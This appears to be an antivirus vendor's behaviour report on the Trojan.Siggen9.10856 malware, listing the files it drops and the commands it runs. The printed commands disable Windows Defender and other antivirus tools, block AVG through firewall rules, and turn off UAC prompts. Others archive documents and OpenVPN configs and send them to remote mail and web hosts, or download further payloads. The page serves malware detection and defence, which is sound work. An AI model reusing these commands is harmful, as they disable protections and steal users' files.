Trojan.Siggen9.10856

Technical Information

Malicious functions

To complicate detection of its presence in the operating system,

blocks execution of the following system utilities:

Windows Defender

Executes the following

'%WINDIR%\syswow64\taskkill.exe' /F /IM baidu.pc.fasters.exe
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)% (x86)\AVG\Antivirus\avgmfapx.exe" protocol=any dir=out enable=yes action=block profile=any
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)% (x86)\AVG\Antivirus\avgmfapx.exe" protocol=any dir=in enable=yes action=block profile=any
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVG\Setup\avgsetupx.exe" protocol=any dir=out enable=yes action=block profile=any
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVG\Setup\avgsetupx.exe" protocol=any dir=in enable=yes action=block profile=any
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVG\Av\avgmfapx.exe" protocol=any dir=out enable=yes action=block profile=any
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVG\Av\avgmfapx.exe" protocol=any dir=in enable=yes action=block profile=any
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)% (x86)\AVG\Setup\avgsetupx.exe" protocol=any dir=out enable=yes action=block profile=any
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)% (x86)\AVG\Setup\avgsetupx.exe" protocol=any dir=in enable=yes action=block profile=any
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)% (x86)\AVG\Av\avgmfapx.exe" protocol=any dir=out enable=yes action=block profile=any
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)% (x86)\AVG\Av\avgmfapx.exe" protocol=any dir=in enable=yes action=block profile=any
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVG\avgmfapx.exe" protocol=any dir=out enable=yes action=block profile=any
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVG\Antivirus\avgmfapx.exe" protocol=any dir=in enable=yes action=block profile=any
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVG\avgmfapx.exe" protocol=any dir=in enable=yes action=block profile=any
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVG\avgsetupx.exe" protocol=any dir=in enable=yes action=block profile=any
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)% (x86)\AVG\avgmfapx.exe" protocol=any dir=out enable=yes action=block profile=any
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)% (x86)\AVG\avgmfapx.exe" protocol=any dir=in enable=yes action=block profile=any
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)% (x86)\AVG\avgsetupx.exe" protocol=any dir=out enable=yes action=block profile=any
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)% (x86)\AVG\avgsetupx.exe" protocol=any dir=in enable=yes action=block profile=any
'<SYSTEM32>\taskkill.exe' /F /IM ByteFence.exe
'<SYSTEM32>\taskkill.exe' /F /IM MSASCui.exe
'<SYSTEM32>\taskkill.exe' /im msseces.exe /f
'%WINDIR%\syswow64\taskkill.exe' /F /IM runtimes.exe
'%WINDIR%\syswow64\taskkill.exe' /F /IM baidu.pc.exe
'%WINDIR%\syswow64\taskkill.exe' /F /IM runtime.exe
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVG\avgsetupx.exe" protocol=any dir=out enable=yes action=block profile=any
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVG\Antivirus\avgmfapx.exe" protocol=any dir=out enable=yes action=block profile=any

Modifies file system

Creates the following files

%WINDIR%\syswow64\bipwallet39.exe
%WINDIR%\syswow64\aescrypt9.5--(debknci').apx
%WINDIR%\syswow64\acgst-10.exe
%TEMP%\ixp000.tmp\getsra~1.exe
%TEMP%\ixp000.tmp\32-bit~1.exe
%WINDIR%\syswow64\getsrartimeВ®.exe
%TEMP%\d34f.tmp\get-timerar.bat
%WINDIR%\syswow64\secure.arch'™.apx
%TEMP%\eb1d.tmp\getapcc-v2.bat
%WINDIR%\syswow64\cac@-v2+addreg.exe
%WINDIR%\syswow64\microsoft_interrupts_86x64-taskhosts-t9.exe
%TEMP%\ixp001.tmp\cac@-v2.exe
%TEMP%\ixp001.tmp\addreg--.exe
%TEMP%\ixp002.tmp\micros~1.exe
%TEMP%\ixp002.tmp\taskho~1.exe
%WINDIR%\syswow64\acgst-9.5.deb
%WINDIR%\syswow64\getrartime86x64.exe
%WINDIR%\syswow64\acgst-9.5'.dat
<SYSTEM32>\avwin.ini
<SYSTEM32>\secure1-64bit.exe
<SYSTEM32>\secure2-64bit.exe
<SYSTEM32>\securedua-64bit.exe
<SYSTEM32>\secure1.bat
<SYSTEM32>\-.lnk
%TEMP%\b0a4.tmp\sec-2.bat
<SYSTEM32>\exceptions.dat
%WINDIR%\syswow64\acgst-10-knci.exe
<SYSTEM32>\exclusions.ini
<SYSTEM32>\secure1+2-32bit™.apx
<SYSTEM32>\2
%TEMP%\b0b4.tmp\--(debknci').bat
%WINDIR%\syswow64\aescrypt2.exe
%WINDIR%\syswow64\aescrypt2
%WINDIR%\syswow64\acgst-9.5'--(debknci').apx
%WINDIR%\syswow64\2_interruptsx86-based.exe
<SYSTEM32>\addme.deb
%WINDIR%\syswow64\microsoft_interrupts_86x64-plc.exe
%TEMP%\5457.tmp\sys e interruptsx64.bat
%TEMP%\61d4.tmp\sys dtext interruptsx64.bat
%TEMP%\7106.tmp\sys etext interruptsx64.bat
%APPDATA%\mozilla\firefox\profiles\alkunvpn.txt
%WINDIR%\syswow64\microsoft_interrupts_86x64.vbs
%TEMP%\a49a.tmp\dinding.bat
%PROGRAMDATA%\kaspersky lab\avp15.0.2\data\settings.kvdb-wal
%TEMP%\ixp001.tmp\getapcc-v2.exe
%PROGRAMDATA%\kaspersky lab\avp18.0.0\data\settings.kvdb-wal
%PROGRAMDATA%\kaspersky lab\ksde2.0.0\data\settings.kvdb-wal
%PROGRAMDATA%\kaspersky lab\ksde3.0.0\data\settings.kvdb-wal
%PROGRAMDATA%\kaspersky lab\avp19.0.0\data\settings.kvdb-wal
%PROGRAMDATA%\kaspersky lab\avp20.0.0\data\settings.kvdb-wal
%TEMP%\a749.tmp\addme.bat
%WINDIR%\syswow64\system interrupts.vbs
%TEMP%\sysinfo-c.o.s.r-v9.txt
%APPDATA%\mozilla\firefox\profiles\alkun-dat.txt
%WINDIR%\syswow64\2_interruptsx64-based.exe
%TEMP%\rarcek.txt
%TEMP%\f8d9.tmp\В .bat
<SYSTEM32>\defend'64™.apx
%TEMP%\f985.tmp\microsoft_interrupts_86x64.bat
%WINDIR%\syswow64\1_interruptsx64-based.exe
%WINDIR%\syswow64\1_interruptsx86-based.exe
%TEMP%\ixp001.tmp\(system.interrupts-on)firts™-v2.cer
%TEMP%\systeminfo-x64-or-x86-based.txt
%WINDIR%\syswow64\3_interruptsx64-based.exe
%WINDIR%\syswow64\3_interruptsx86-based.exe
%WINDIR%\syswow64\4_interruptsx64-based.exe
%WINDIR%\syswow64\4_interruptsx86-based.exe
%WINDIR%\syswow64\certificate-86x64.linux
%WINDIR%\java\taskhosts.exe
%TEMP%\41f8.tmp\sys d interruptsx64.bat
%WINDIR%\syswow64\settings.kvdb-wal
%LOCALAPPDATA%\microsoft\windows\history\history.ie5\mshist012020021120200212\index.dat
%WINDIR%\syswow64\java\sshclients.exe
%WINDIR%\syswow64\--(c.o.s.r-v9.5').apx
%WINDIR%\syswow64\c.o.s.r-v9.5'.dat
%HOMEPATH%\desktop\bip39-master\.gitignore
%HOMEPATH%\desktop\bip39-master\bip39-standalone.html
%HOMEPATH%\desktop\bip39-master\changelog.md
%HOMEPATH%\desktop\bip39-master\compile.py
%HOMEPATH%\desktop\bip39-master\readme.md
%HOMEPATH%\desktop\bip39-master\src\js\bitcoinjs-3.3.2.js
%HOMEPATH%\desktop\bip39-master\release_process.md
%HOMEPATH%\desktop\bip39-master\src\css\app.css
%HOMEPATH%\desktop\bip39-master\src\css\bootstrap-3.3.7.css
%HOMEPATH%\desktop\bip39-master\src\index.html
%HOMEPATH%\desktop\bip39-master\src\js\basex.js
%HOMEPATH%\desktop\bip39-master\src\js\biginteger.js
%WINDIR%\syswow64\secure1+2x64.exe
%HOMEPATH%\desktop\bip39-master\license
%WINDIR%\syswow64\secure1+2x32.exe
%WINDIR%\syswow64\java\c.o.s.r-v9'-bitcoin private key recover™.apx
%WINDIR%\syswow64\java\bip39-master.exe
%WINDIR%\syswow64\java\bip39-master-opsitimeВ®.exe
%WINDIR%\syswow64\java\c.o.s.r-v9'.exe
%WINDIR%\syswow64\java\clients@ssh.16mb-19-6-24.exe
%WINDIR%\syswow64\java\notifaboutbtc-.exe
%TEMP%\3e91.tmp\bip39-master-opsitimeВ®.bat
%TEMP%\am-pm.txt
%WINDIR%\syswow64\c.o.s.rberjalur64.exe
%WINDIR%\syswow64\sys-v9.5'.exe
%TEMP%\471d.tmp\86x64-based-security-(c.o.s.r).bat
%WINDIR%\syswow64\acgst-10-qknci.exe
%WINDIR%\syswow64\addmex32.exe
%WINDIR%\syswow64\addmex64.exe
%WINDIR%\syswow64\c.o.s.rberjalur32.exe
%WINDIR%\syswow64\ex-kaspdinding.exe
%HOMEPATH%\desktop\bip39-master\src\js\polyfill.es6.js
%TEMP%\wgetnotif-firts.exe
%HOMEPATH%\desktop\bip39-master\src\js\bootstrap-3.3.7.js
%HOMEPATH%\desktop\bip39-master\src\js\wordlist_korean.js
%HOMEPATH%\desktop\bip39-master\src\js\wordlist_spanish.js
%HOMEPATH%\desktop\bip39-master\src\js\zxcvbn.js
%HOMEPATH%\desktop\bip39-master\tests\package.json
%HOMEPATH%\desktop\bip39-master\tests\spec\support\jasmine.json
%HOMEPATH%\desktop\bip39-master\tests\spec\tests.js
%TEMP%\66f9.tmp\runstime.bat
%HOMEPATH%\desktop\bip39-master\src\js\bitcoinjs-extensions.js
%WINDIR%\syswow64\java\getrunstime.exe
%WINDIR%\syswow64\java\acquisition-runstime™.bat
%WINDIR%\syswow64\java\getrunstime™.deb
%TEMP%\notifaboutbtc.exe
%TEMP%\705f.tmp\recognition_firts.bat
%TEMP%\wgetnotif-firts™.apx
%HOMEPATH%\desktop\bip39-master\src\js\wordlist_japanese.js
nul
%HOMEPATH%\desktop\bip39-master\src\js\wordlist_italian.js
%HOMEPATH%\desktop\bip39-master\src\js\levenshtein.js
%HOMEPATH%\desktop\bip39-master\src\js\entropy.js
%HOMEPATH%\desktop\bip39-master\src\js\ethereumjs-util.js
%HOMEPATH%\desktop\bip39-master\src\js\index.js
%HOMEPATH%\desktop\bip39-master\src\js\jquery-3.2.1.js
%HOMEPATH%\desktop\bip39-master\src\js\jsbip39.js
%HOMEPATH%\desktop\bip39-master\src\js\kjua-0.1.1.min.js
%HOMEPATH%\desktop\bip39-master\src\js\bitcoinjs-bip38-2.0.2.js
%HOMEPATH%\desktop\bip39-master\src\js\wordlist_english.js
%HOMEPATH%\desktop\bip39-master\src\js\ripple-util.js
%HOMEPATH%\desktop\bip39-master\src\js\segwit-parameters.js
%HOMEPATH%\desktop\bip39-master\src\js\sjcl-bip39.js
%HOMEPATH%\desktop\bip39-master\src\js\unorm.js
%HOMEPATH%\desktop\bip39-master\src\js\wordlist_chinese_simplified.js
%HOMEPATH%\desktop\bip39-master\src\js\wordlist_chinese_traditional.js
%HOMEPATH%\desktop\bip39-master\src\js\wordlist_french.js
<SYSTEM32>\addme™.apx

Deletes the following files

%WINDIR%\syswow64\java\c.o.s.r-v9'.exe
%TEMP%\systeminfo-x64-or-x86-based.txt
%APPDATA%\mozilla\firefox\profiles\alkunvpn.txt
%WINDIR%\syswow64\microsoft_interrupts_86x64.vbs
%WINDIR%\syswow64\1_interruptsx64-based.exe
%WINDIR%\syswow64\1_interruptsx86-based.exe
%WINDIR%\syswow64\2_interruptsx64-based.exe
%WINDIR%\syswow64\2_interruptsx86-based.exe
%WINDIR%\syswow64\3_interruptsx64-based.exe
%WINDIR%\syswow64\3_interruptsx86-based.exe
%WINDIR%\syswow64\4_interruptsx64-based.exe
%WINDIR%\syswow64\acgst-9.5'--(debknci').apx
%WINDIR%\syswow64\4_interruptsx86-based.exe
%TEMP%\f985.tmp\microsoft_interrupts_86x64.bat
<SYSTEM32>\defend'64™.apx
%TEMP%\f8d9.tmp\В .bat
%WINDIR%\syswow64\c.o.s.rberjalur64.exe
%WINDIR%\syswow64\settings.kvdb-wal
%TEMP%\a49a.tmp\dinding.bat
<SYSTEM32>\avwin.ini
<SYSTEM32>\exceptions.dat
<SYSTEM32>\exclusions.ini
<SYSTEM32>\secure1+2-32bit™.apx
%TEMP%\61d4.tmp\sys dtext interruptsx64.bat
%TEMP%\7106.tmp\sys etext interruptsx64.bat
%TEMP%\5457.tmp\sys e interruptsx64.bat
%TEMP%\41f8.tmp\sys d interruptsx64.bat
%WINDIR%\syswow64\system interrupts.vbs
%WINDIR%\syswow64\java\clients@ssh.16mb-19-6-24.exe
%WINDIR%\syswow64\java\notifaboutbtc-.exe
%TEMP%\notifaboutbtc.exe
%WINDIR%\syswow64\java\c.o.s.r-v9'-bitcoin private key recover™.apx
%TEMP%\3e91.tmp\bip39-master-opsitimeВ®.bat
%TEMP%\ixp000.tmp\32-bit~1.exe
%TEMP%\ixp000.tmp\getsra~1.exe
%WINDIR%\syswow64\acgst-10.exe
%WINDIR%\syswow64\aescrypt2.exe
%WINDIR%\syswow64\aescrypt2
<SYSTEM32>\2
%WINDIR%\syswow64\certificate-86x64.linux
%WINDIR%\syswow64\acgst-10-knci.exe
%WINDIR%\syswow64\acgst-9.5.deb
%WINDIR%\syswow64\aescrypt9.5--(debknci').apx
%TEMP%\b0b4.tmp\--(debknci').bat
%TEMP%\rarcek.txt
%WINDIR%\syswow64\getrartime86x64.exe
%WINDIR%\syswow64\secure.arch'™.apx
%TEMP%\d34f.tmp\get-timerar.bat
%TEMP%\ixp002.tmp\taskho~1.exe
%TEMP%\ixp002.tmp\micros~1.exe
%APPDATA%\mozilla\firefox\profiles\alkun-dat.txt
%WINDIR%\syswow64\java\bip39-master.exe
%WINDIR%\syswow64\acgst-9.5'.dat
%TEMP%\b0a4.tmp\sec-2.bat

Moves the following system files

from <SYSTEM32>\wscapi.dll to <SYSTEM32>\wscapi.old
from <SYSTEM32>\wscsvc.dll to <SYSTEM32>\wscsvc.old

Substitutes the following files

%APPDATA%\mozilla\firefox\profiles\alkun-dat.txt
%WINDIR%\syswow64\system interrupts.vbs
%APPDATA%\mozilla\firefox\profiles\alkunvpn.txt

Network activity

Connects to

'pi##.##walkun.16mb.com':80
'ot####un.16mb.com':80

TCP

HTTP GET requests

http://bi#.do/A_H-ping

UDP

DNS ASK google.com
DNS ASK bi#.do
DNS ASK ot####un.16mb.com
DNS ASK pi##.##walkun.16mb.com

Miscellaneous

Searches for the following windows

ClassName: 'EDIT' WindowName: ''
ClassName: 'IEFrame' WindowName: ''
ClassName: 'MS_AutodialMonitor' WindowName: ''
ClassName: 'MS_WebCheckMonitor' WindowName: ''
ClassName: '' WindowName: ''
ClassName: 'Static' WindowName: ''

Creates and executes the following

'%WINDIR%\syswow64\bipwallet39.exe'
'%TEMP%\ixp000.tmp\getsra~1.exe'
'%WINDIR%\syswow64\getsrartimeВ®.exe'
'%WINDIR%\syswow64\addmex64.exe'
'%WINDIR%\syswow64\microsoft_interrupts_86x64-taskhosts-t9.exe'
'%TEMP%\ixp001.tmp\cac@-v2.exe'
'%TEMP%\ixp002.tmp\micros~1.exe'
'%WINDIR%\syswow64\microsoft_interrupts_86x64-plc.exe'
'%WINDIR%\syswow64\cac@-v2+addreg.exe'
'%TEMP%\ixp001.tmp\getapcc-v2.exe' --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3" -N --tries=77 --read-timeout=300 http://ot####un.16mb.com/getapcc-v2/default.php
'%WINDIR%\syswow64\1_interruptsx64-based.exe'
'%WINDIR%\syswow64\2_interruptsx64-based.exe'
'%WINDIR%\syswow64\3_interruptsx64-based.exe'
'%WINDIR%\syswow64\acgst-10.exe'
'%WINDIR%\syswow64\4_interruptsx64-based.exe'
'%TEMP%\ixp002.tmp\taskho~1.exe'
'%WINDIR%\syswow64\ex-kaspdinding.exe'
'%WINDIR%\syswow64\c.o.s.rberjalur64.exe'
'%WINDIR%\syswow64\aescrypt2.exe' 1 acgst-10-knci.exe acgst-10.exe @@AcgsT-10@@
'%WINDIR%\syswow64\java\bip39-master.exe'
'%WINDIR%\syswow64\java\notifaboutbtc-.exe'
'%WINDIR%\syswow64\java\clients@ssh.16mb-19-6-24.exe'
'%WINDIR%\syswow64\java\sshclients.exe'
'<SYSTEM32>\securedua-64bit.exe'
'%WINDIR%\syswow64\java\c.o.s.r-v9'.exe'
'%TEMP%\ixp000.tmp\32-bit~1.exe'
'%WINDIR%\syswow64\sys-v9.5'.exe'
'%WINDIR%\syswow64\java\getrunstime.exe' --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3" -N --tries=77 --read-timeout=300 http://ot####un.16mb.com/runtime/c@s/default.php
'%WINDIR%\syswow64\secure1+2x64.exe'
'%WINDIR%\syswow64\java\bip39-master-opsitimeВ®.exe'
'<SYSTEM32>\secure1-64bit.exe'
'<SYSTEM32>\secure2-64bit.exe'
'%WINDIR%\syswow64\acgst-10-qknci.exe'
'%TEMP%\notifaboutbtc.exe'
'%TEMP%\wgetnotif-firts.exe' --referer=gtjtmjerkjvz-Firts-AboutBTC-c.o.s.r-v9 --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3" -N --tries=77 --read-timeout=300 http://bi#.do...
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\F985.tmp\microsoft_interrupts_86x64.bat" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\471D.tmp\86x64-based-security-(c.o.s.r).bat" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\7106.tmp\Sys EText interruptsx64.bat" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\A49A.tmp\dinding.bat" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\3E91.tmp\bip39-master-opsitimeВ®.bat" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\5457.tmp\Sys E interruptsx64.bat" "' (with hidden window)
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\B0A4.tmp\sec-2.bat" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\41F8.tmp\Sys D interruptsx64.bat" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\F8D9.tmp\В .bat" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\66F9.tmp\runstime.bat" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\EB1D.tmp\getapcc-v2.bat" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\D34F.tmp\get-timerar.bat" "' (with hidden window)
'%TEMP%\ixp002.tmp\micros~1.exe' ' (with hidden window)
'%TEMP%\ixp000.tmp\32-bit~1.exe' ' (with hidden window)
'%TEMP%\ixp000.tmp\getsra~1.exe' ' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\705F.tmp\recognition_firts.bat" "' (with hidden window)
'%TEMP%\ixp001.tmp\cac@-v2.exe' ' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\B0B4.tmp\--(debknci').bat" "' (with hidden window)
'%TEMP%\ixp002.tmp\taskho~1.exe' ' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\61D4.tmp\Sys DText interruptsx64.bat" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\A749.tmp\addme.bat" "' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\3E91.tmp\bip39-master-opsitimeВ®.bat" "
'%ProgramFiles%\winrar\rar.exe' a -ep1 -r "%APPDATA%\Mozilla\Firefox\profiles\alkun-dat.txt" "d:\*.docx"
'%ProgramFiles%\winrar\rar.exe' a -ep1 -r "%APPDATA%\Mozilla\Firefox\profiles\alkun-dat.txt" "d:\*.xlsx"
'%WINDIR%\syswow64\attrib.exe' +h %HOMEPATH%\AppData
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\41F8.tmp\Sys D interruptsx64.bat" "
'%WINDIR%\syswow64\cmd.exe' /S /D /c" type "%TEMP%\systeminfo-x64-or-x86-based.txt" "
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v AutoShareWKS /t REG_DWORD /d 00000001 /f
'%WINDIR%\syswow64\cscript.exe' /nologo "system interrupts.vbs" cm@ssh.16mb.com cm@ssh.16mb.com "user" "superdata ( x64-based PC) gtjtmjerkjvz ( D docx + xlsx + json )+Port587+serverbaru(mx1*hostinger*co*id)" mx1.hostinger.co...
'%ProgramFiles%\winrar\rar.exe' a -ep1 -r "%APPDATA%\Mozilla\Firefox\profiles\alkun-dat.txt" "d:\*.json"
'<SYSTEM32>\sc.exe' delete "rtop"
'<SYSTEM32>\sc.exe' config "rtop" start= disabled
'<SYSTEM32>\sc.exe' stop "rtop"
'<SYSTEM32>\sc.exe' config WerSvc start= disabled
'<SYSTEM32>\sc.exe' stop WerSvc
'<SYSTEM32>\sc.exe' delete UxSms
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 00000000 /f
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\D34F.tmp\get-timerar.bat" "
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\5457.tmp\Sys E interruptsx64.bat" "
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%WINDIR%\SysWOW64"
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "<SYSTEM32>"
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%WINDIR%\SysWOW64\java"
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%WINDIR%\java"
'%WINDIR%\syswow64\cscript.exe' /nologo "microsoft_interrupts_86x64.vbs" cm@ssh.16mb.com cm@ssh.16mb.com "user " " Take Fol OVPN ( ini perintah di akhir superdata )+Port587+serverbaru(mx1*hostinger*co*id)" mx1.hostinger.co.id...
'%ProgramFiles%\winrar\rar.exe' a -ep1 -r "%APPDATA%\Mozilla\Firefox\profiles\alkunvpn.txt" "%ProgramFiles(x86)%\OpenVPN\config\*.*"
'%WINDIR%\syswow64\cscript.exe' /nologo "system interrupts.vbs" cm@ssh.16mb.com cm@ssh.16mb.com "user" "superdata ( x64-based PC) gtjtmjerkjvz ( E Txt )+Port587+serverbaru(mx1*hostinger*co*id)" mx1.hostinger.co.id cm@ssh.16mb...
'%ProgramFiles%\winrar\rar.exe' a -ep1 -r "%APPDATA%\Mozilla\Firefox\profiles\alkun-dat.txt" "e:\*.txt"
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\7106.tmp\Sys EText interruptsx64.bat" "
'%WINDIR%\syswow64\cscript.exe' /nologo "system interrupts.vbs" cm@ssh.16mb.com cm@ssh.16mb.com "user" "superdata ( x64-based PC) gtjtmjerkjvz ( D Txt )+Port587+serverbaru(mx1*hostinger*co*id)" mx1.hostinger.co.id cm@ssh.16mb...
'%ProgramFiles%\winrar\rar.exe' a -ep1 -r "%APPDATA%\Mozilla\Firefox\profiles\alkun-dat.txt" "d:\*.txt"
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\61D4.tmp\Sys DText interruptsx64.bat" "
'%WINDIR%\syswow64\cscript.exe' /nologo "system interrupts.vbs" cm@ssh.16mb.com cm@ssh.16mb.com "user" "superdata ( x64-based PC) gtjtmjerkjvz ( E docx + xlsx + json )+Port587+serverbaru(mx1*hostinger*co*id)" mx1.hostinger.co...
'%ProgramFiles%\winrar\rar.exe' a -ep1 -r "%APPDATA%\Mozilla\Firefox\profiles\alkun-dat.txt" "e:\*.json"
'%ProgramFiles%\winrar\rar.exe' a -ep1 -r "%APPDATA%\Mozilla\Firefox\profiles\alkun-dat.txt" "e:\*.docx"
'<SYSTEM32>\sc.exe' stop UxSms
'<SYSTEM32>\reg.exe' delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /f /v MSC
'<SYSTEM32>\sc.exe' delete newserv
'<SYSTEM32>\sc.exe' stop newserv
'<SYSTEM32>\sc.exe' delete "NanoServiceMain"
'%WINDIR%\syswow64\cmd.exe' /S /D /c" type "%TEMP%\sysinfo-c.o.s.r-v9.txt" "
'<SYSTEM32>\msiexec.exe' /x {8F023021-A7EB-45D3-9269-D65264C81729} /quiet
'<SYSTEM32>\takeown.exe' /f <SYSTEM32>\wscapi.dll
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\B0B4.tmp\--(debknci').bat" "
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\B0A4.tmp\sec-2.bat" "
'<SYSTEM32>\cmd.exe' /C "<SYSTEM32>\secure1.bat"
'%WINDIR%\syswow64\findstr.exe' "x64-based"
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\705F.tmp\recognition_firts.bat" "
'<SYSTEM32>\takeown.exe' /f <SYSTEM32>\wscsvc.dll
'%WINDIR%\syswow64\find.exe' "TTL="
'%WINDIR%\syswow64\ping.exe' -n 1 www.google.com
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\66F9.tmp\runstime.bat" "
'%WINDIR%\syswow64\findstr.exe' /B /C:"OS Name" /C:"System Type" /C:"Host Name"
'%WINDIR%\syswow64\systeminfo.exe'
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\471D.tmp\86x64-based-security-(c.o.s.r).bat" "
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\A49A.tmp\dinding.bat" "
'%ProgramFiles%\winrar\rar.exe' a -ep1 -r "%APPDATA%\Mozilla\Firefox\profiles\alkun-dat.txt" "e:\*.xlsx"
'<SYSTEM32>\icacls.exe' <SYSTEM32>\wscsvc.dll /grant administrators:F
'<SYSTEM32>\icacls.exe' <SYSTEM32>\wscui.dll /grant administrators:F
'<SYSTEM32>\icacls.exe' <SYSTEM32>\wscapi.dll /grant administrators:F
'<SYSTEM32>\sc.exe' stop "NanoServiceMain"
'<SYSTEM32>\sc.exe' delete "avast! Antivirus"
'<SYSTEM32>\sc.exe' stop "avast! Antivirus"
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableRealtimeMonitoring $true
'<SYSTEM32>\sc.exe' config WinDefend start= disabled
'<SYSTEM32>\sc.exe' stop WinDefend
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\F985.tmp\microsoft_interrupts_86x64.bat" "
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\F8D9.tmp\В .bat" "
'%WINDIR%\syswow64\cmd.exe' /S /D /c" type "%TEMP%\rarcek.txt";"%TEMP%\rarcek86.txt" "
'%WINDIR%\syswow64\cmd.exe' /S /D /c" dir "%ProgramFiles(x86)%\WinRAR" "
'%WINDIR%\syswow64\findstr.exe' "WinRAR.exe"
'%WINDIR%\syswow64\cmd.exe' /S /D /c" dir "%ProgramFiles%\WinRAR" "
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\EB1D.tmp\getapcc-v2.bat" "
'%WINDIR%\syswow64\ping.exe' -n 1 23.6.98.234
'<SYSTEM32>\takeown.exe' /f <SYSTEM32>\wscui.cpl
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\A749.tmp\addme.bat" "

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial